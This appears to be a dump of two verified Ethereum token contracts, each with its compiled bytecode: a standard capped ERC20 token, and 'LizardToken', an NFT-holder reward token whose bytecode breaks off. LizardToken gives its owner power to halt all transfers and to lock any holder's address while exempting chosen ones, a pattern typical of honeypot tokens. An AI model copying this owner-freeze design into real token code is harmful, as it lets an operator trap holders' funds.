pragma solidity ^0.6.0; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract MainToken is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; uint256 private _cap; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (uint256 cap, string memory name, string memory symbol) public { require(cap > 0, "ERC20Capped: cap is 0"); _cap = cap; _name = name; _symbol = symbol; _decimals = 4; _mint(msg.sender, cap); } function cap() public view returns (uint256) { return _cap; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063395093511161007157806339509351146101ec57806370a082311461021857806395d89b411461023e578063a457c2d714610246578063a9059cbb14610272578063dd62ed3e1461029e576100b4565b806306fdde03146100b9578063095ea7b31461013657806318160ddd1461017657806323b872dd14610190578063313ce567146101c6578063355274ea146101e4575b600080fd5b6100c16102cc565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100fb5781810151838201526020016100e3565b50505050905090810190601f1680156101285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101626004803603604081101561014c57600080fd5b506001600160a01b038135169060200135610362565b604080519115158252519081900360200190f35b61017e61037f565b60408051918252519081900360200190f35b610162600480360360608110156101a657600080fd5b506001600160a01b03813581169160208101359091169060400135610385565b6101ce610412565b6040805160ff9092168252519081900360200190f35b61017e61041b565b6101626004803603604081101561020257600080fd5b506001600160a01b038135169060200135610421565b61017e6004803603602081101561022e57600080fd5b50356001600160a01b0316610475565b6100c1610490565b6101626004803603604081101561025c57600080fd5b506001600160a01b0381351690602001356104f1565b6101626004803603604081101561028857600080fd5b506001600160a01b03813516906020013561055f565b61017e600480360360408110156102b457600080fd5b506001600160a01b0381358116916020013516610573565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b5050505050905090565b600061037661036f61059e565b84846105a2565b50600192915050565b60035490565b600061039284848461068e565b6104088461039e61059e565b6104038560405180606001604052806028815260200161095e602891396001600160a01b038a166000908152600260205260408120906103dc61059e565b6001600160a01b03168152602081019190915260400160002054919063ffffffff6107f516565b6105a2565b5060019392505050565b60065460ff1690565b60015490565b600061037661042e61059e565b84610403856002600061043f61059e565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61088c16565b6001600160a01b031660009081526020819052604090205490565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103585780601f1061032d57610100808354040283529160200191610358565b60006103766104fe61059e565b84610403856040518060600160405280602581526020016109cf602591396002600061052861059e565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff6107f516565b600061037661056c61059e565b848461068e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166105e75760405162461bcd60e51b81526004018080602001828103825260248152602001806109ab6024913960400191505060405180910390fd5b6001600160a01b03821661062c5760405162461bcd60e51b81526004018080602001828103825260228152602001806109166022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166106d35760405162461bcd60e51b81526004018080602001828103825260258152602001806109866025913960400191505060405180910390fd5b6001600160a01b0382166107185760405162461bcd60e51b81526004018080602001828103825260238152602001806108f36023913960400191505060405180910390fd5b6107238383836108ed565b61076681604051806060016040528060268152602001610938602691396001600160a01b038616600090815260208190526040902054919063ffffffff6107f516565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461079b908263ffffffff61088c16565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156108845760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610849578181015183820152602001610831565b50505050905090810190601f1680156108765780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156108e6576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122019615c865f88250f0db9d295b70c5ffaa95fd07b6dea52b763285a26f973f62264736f6c63430006000033
{"success": true, "error": null, "results": {}}
6,824
0x7a77a469bed01bd521fbfab9d210620aca806cff
/** *Submitted for verification at Etherscan.io on 2021-10-27 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface ERC721 { function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); } /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } interface Token { function balanceOf(address _owner) external view returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Owned { address public owner; modifier isOwner() { require(msg.sender == owner); _; } constructor() { owner = msg.sender; } event OwnerUpdate(address _prevOwner, address _newOwner); function changeOwnerForce(address _newOwner) public isOwner { require(_newOwner != owner); owner = _newOwner; emit OwnerUpdate(owner, _newOwner); } } contract Controlled is Owned { bool public transferEnable = true; bool public lockFlag = true; constructor() { setExclude(msg.sender); } mapping(address => bool) public locked; mapping(address => bool) public exclude; function enableTransfer(bool _enable) public isOwner{ transferEnable = _enable; } function disableLock(bool _enable) public isOwner returns (bool success){ lockFlag = _enable; return true; } function addLock(address _addr) public isOwner returns (bool success){ require(_addr != msg.sender); locked[_addr] = true; return true; } function setExclude(address _addr) public isOwner returns (bool success){ exclude[_addr] = true; return true; } function removeLock(address _addr) public isOwner returns (bool success){ locked[_addr] = false; return true; } modifier transferAllowed(address _addr) { if (!exclude[_addr]) { assert(transferEnable); if(lockFlag){ assert(!locked[_addr]); } } _; } modifier validAddress(address _addr) { assert(address(0x0) != _addr && address(0x0) != msg.sender); _; } } contract StandardToken is Token, Controlled { string public name = ""; string public symbol = ""; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; constructor (string memory name_, string memory symbol_) { name = name_; symbol = symbol_; } function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) public override transferAllowed(msg.sender) validAddress(_to) returns (bool success) { require(_value > 0); if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) public override transferAllowed(_from) validAddress(_to) returns (bool success) { require(_value > 0); if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } else { return false; } } function approve(address _spender, uint256 _value) public override transferAllowed(_spender) returns (bool success) { require(_value > 0); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public override view returns (uint256 remaining) { return allowed[_owner][_spender]; } function _mint(address account, uint256 amount) internal virtual { require(totalSupply + amount > totalSupply); require(balances[account] + amount > balances[account]); balances[account] += amount; totalSupply += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(totalSupply >= amount); require(balances[account] >= amount); totalSupply -= amount; balances[account] -= amount; emit Transfer(account, address(0), amount); } } contract LizardToken is StandardToken { ERC721 public lizardContract; ERC721 public dragonContract; uint256 public immutable PER_DAY_PER_LIZARD_REWARD = 10 ether; uint256 public immutable PER_DAY_PER_DRAGON_REWARD = 50 ether; uint256 private MINE_PERIOD = 86400; uint256 public GENESIS = 1635379200; bool public mineIsActive = true; mapping(uint256 => uint256) public last; mapping(uint256 => uint256) public lastDragon; constructor(address lizard, address dragon) StandardToken("SCALE","SCALE"){ lizardContract = ERC721(lizard); dragonContract = ERC721(dragon); } function closeMineState() public isOwner { require(mineIsActive, "Mining is currently unavailable"); mineIsActive = false; } function openMineState(uint256 timestamp) public isOwner { require(!mineIsActive, "Mining is currently on"); mineIsActive = true; GENESIS = timestamp; } function claim(address user) external { require(mineIsActive, "Mining is currently unavailable"); require(block.timestamp > GENESIS, "Mining is currently unavailable"); uint256 owed = 0; uint256 total = lizardContract.balanceOf(user); for (uint256 i = 0; i < total; i++) { uint256 id = lizardContract.tokenOfOwnerByIndex(user, i); uint256 minePeriods = minePeriod(last[id]); owed += (minePeriods * PER_DAY_PER_LIZARD_REWARD); last[id] = block.timestamp; } total = dragonContract.balanceOf(user); for (uint256 i = 0; i < total; i++) { uint256 id = dragonContract.tokenOfOwnerByIndex(user, i); uint256 minePeriods = minePeriod(lastDragon[id]); owed += (minePeriods * PER_DAY_PER_DRAGON_REWARD); lastDragon[id] = block.timestamp; } _mint(user, owed); } function getTotalClaimable(address user) external view returns(uint256) { if (!mineIsActive) { return 0; } if (block.timestamp < GENESIS) { return 0; } uint256 owed = 0; uint256 total = lizardContract.balanceOf(user); for (uint256 i = 0; i < total; i++) { uint256 id = lizardContract.tokenOfOwnerByIndex(user, i); uint256 minePeriods = minePeriod(last[id]); owed += (minePeriods * PER_DAY_PER_LIZARD_REWARD); } total = dragonContract.balanceOf(user); for (uint256 i = 0; i < total; i++) { uint256 id = dragonContract.tokenOfOwnerByIndex(user, i); uint256 minePeriods = minePeriod(lastDragon[id]); owed += (minePeriods * PER_DAY_PER_DRAGON_REWARD); } return owed; } function minePeriod(uint256 claimedTime) internal view returns (uint256) { uint256 lastTime = Math.max(claimedTime, GENESIS); return (block.timestamp - lastTime / MINE_PERIOD * MINE_PERIOD) / MINE_PERIOD; } }
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c80638885407c1161010f578063be306b5d116100a2578063e3c517a911610071578063e3c517a91461060d578063e4c1a3b21461062b578063ec51a17d1461065b578063ef7ac0e514610679576101f0565b8063be306b5d14610587578063c92ebdcc146105a3578063cbf9fe5f146105ad578063dd62ed3e146105dd576101f0565b80639711dc38116100de5780639711dc38146104eb578063a9059cbb14610509578063ab6d17a014610539578063b7dec1b714610569576101f0565b80638885407c146104615780638da5cb5b1461047f57806391c71e2b1461049d57806395d89b41146104cd576101f0565b80634a387bef116101875780635f6f8b5f116101565780635f6f8b5f146103b557806360031bd4146103e557806370a0823114610401578063882f327b14610431576101f0565b80634a387bef146103195780634f5e9452146103495780634febf53d1461036757806359cec4b614610397576101f0565b806323b872dd116101c357806323b872dd1461027d578063242654a2146102ad578063267e8ab6146102cb578063313ce567146102fb576101f0565b806306fdde03146101f5578063095ea7b31461021357806318160ddd146102435780631e83409a14610261575b600080fd5b6101fd610695565b60405161020a919061290b565b60405180910390f35b61022d600480360381019061022891906126ad565b610723565b60405161023a91906128d5565b60405180910390f35b61024b610950565b604051610258919061296d565b60405180910390f35b61027b600480360381019061027691906125f9565b610956565b005b6102976004803603810190610292919061265e565b610ddb565b6040516102a491906128d5565b60405180910390f35b6102b56112d4565b6040516102c291906128d5565b60405180910390f35b6102e560048036038101906102e091906125f9565b6112e7565b6040516102f2919061296d565b60405180910390f35b6103036116d7565b6040516103109190612988565b60405180910390f35b610333600480360381019061032e91906125f9565b6116ea565b60405161034091906128d5565b60405180910390f35b6103516117a6565b60405161035e91906128f0565b60405180910390f35b610381600480360381019061037c91906125f9565b6117cc565b60405161038e91906128d5565b60405180910390f35b61039f6117ec565b6040516103ac919061296d565b60405180910390f35b6103cf60048036038101906103ca91906125f9565b611810565b6040516103dc91906128d5565b60405180910390f35b6103ff60048036038101906103fa91906125f9565b6118cc565b005b61041b600480360381019061041691906125f9565b611a19565b604051610428919061296d565b60405180910390f35b61044b600480360381019061044691906125f9565b611a62565b60405161045891906128d5565b60405180910390f35b610469611b56565b604051610476919061296d565b60405180910390f35b610487611b7a565b6040516104949190612868565b60405180910390f35b6104b760048036038101906104b291906126e9565b611b9e565b6040516104c491906128d5565b60405180910390f35b6104d5611c1c565b6040516104e2919061290b565b60405180910390f35b6104f3611caa565b60405161050091906128f0565b60405180910390f35b610523600480360381019061051e91906126ad565b611cd0565b60405161053091906128d5565b60405180910390f35b610553600480360381019061054e9190612712565b6120ad565b604051610560919061296d565b60405180910390f35b6105716120c5565b60405161057e919061296d565b60405180910390f35b6105a1600480360381019061059c9190612712565b6120cb565b005b6105ab612198565b005b6105c760048036038101906105c291906125f9565b61225c565b6040516105d491906128d5565b60405180910390f35b6105f760048036038101906105f29190612622565b61227c565b604051610604919061296d565b60405180910390f35b610615612303565b60405161062291906128d5565b60405180910390f35b61064560048036038101906106409190612712565b612316565b604051610652919061296d565b60405180910390f35b61066361232e565b60405161067091906128d5565b60405180910390f35b610693600480360381019061068e91906126e9565b612341565b005b600380546106a290612b80565b80601f01602080910402602001604051908101604052809291908181526020018280546106ce90612b80565b801561071b5780601f106106f05761010080835404028352916020019161071b565b820191906000526020600020905b8154815290600101906020018083116106fe57829003601f168201915b505050505081565b600082600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661085257600060149054906101000a900460ff166107ba577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b600060159054906101000a900460ff161561085157600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610850577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b5b5b6000831161085f57600080fd5b82600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258560405161093d919061296d565b60405180910390a3600191505092915050565b60065481565b600d60009054906101000a900460ff166109a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099c9061292d565b60405180910390fd5b600c5442116109e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e09061292d565b60405180910390fd5b600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401610a479190612868565b60206040518083038186803b158015610a5f57600080fd5b505afa158015610a73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a97919061273b565b905060005b81811015610bdb576000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632f745c5986846040518363ffffffff1660e01b8152600401610b039291906128ac565b60206040518083038186803b158015610b1b57600080fd5b505afa158015610b2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b53919061273b565b90506000610b73600e6000848152602001908152602001600020546123b6565b90507f0000000000000000000000000000000000000000000000008ac7230489e8000081610ba19190612a46565b85610bac91906129bf565b945042600e60008481526020019081526020016000208190555050508080610bd390612bb2565b915050610a9c565b50600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401610c379190612868565b60206040518083038186803b158015610c4f57600080fd5b505afa158015610c63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c87919061273b565b905060005b81811015610dcb576000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632f745c5986846040518363ffffffff1660e01b8152600401610cf39291906128ac565b60206040518083038186803b158015610d0b57600080fd5b505afa158015610d1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d43919061273b565b90506000610d63600f6000848152602001908152602001600020546123b6565b90507f000000000000000000000000000000000000000000000002b5e3af16b188000081610d919190612a46565b85610d9c91906129bf565b945042600f60008481526020019081526020016000208190555050508080610dc390612bb2565b915050610c8c565b50610dd68383612402565b505050565b600083600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610f0a57600060149054906101000a900460ff16610e72577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b600060159054906101000a900460ff1615610f0957600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f08577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b5b5b838073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff1614158015610f7557503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff1614155b610fa8577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b60008411610fb557600080fd5b83600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611080575083600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156111145750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111291906129bf565b115b156112c65783600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461116891906129bf565b9250508190555083600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111be9190612aa0565b9250508190555083600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112519190612aa0565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516112b5919061296d565b60405180910390a3600192506112cb565b600092505b50509392505050565b600060149054906101000a900460ff1681565b6000600d60009054906101000a900460ff1661130657600090506116d2565b600c5442101561131957600090506116d2565b600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b81526004016113779190612868565b60206040518083038186803b15801561138f57600080fd5b505afa1580156113a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c7919061273b565b905060005b818110156114f3576000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632f745c5987846040518363ffffffff1660e01b81526004016114339291906128ac565b60206040518083038186803b15801561144b57600080fd5b505afa15801561145f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611483919061273b565b905060006114a3600e6000848152602001908152602001600020546123b6565b90507f0000000000000000000000000000000000000000000000008ac7230489e80000816114d19190612a46565b856114dc91906129bf565b9450505080806114eb90612bb2565b9150506113cc565b50600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b815260040161154f9190612868565b60206040518083038186803b15801561156757600080fd5b505afa15801561157b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159f919061273b565b905060005b818110156116cb576000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632f745c5987846040518363ffffffff1660e01b815260040161160b9291906128ac565b60206040518083038186803b15801561162357600080fd5b505afa158015611637573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061165b919061273b565b9050600061167b600f6000848152602001908152602001600020546123b6565b90507f000000000000000000000000000000000000000000000002b5e3af16b1880000816116a99190612a46565b856116b491906129bf565b9450505080806116c390612bb2565b9150506115a4565b5081925050505b919050565b600560009054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461174557600080fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000000000000000000000000000008ac7230489e8000081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461186b57600080fd5b6001600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461192457600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561197d57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051611a0e929190612883565b60405180910390a150565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611abd57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611af657600080fd5b60018060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b7f000000000000000000000000000000000000000000000002b5e3af16b188000081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffff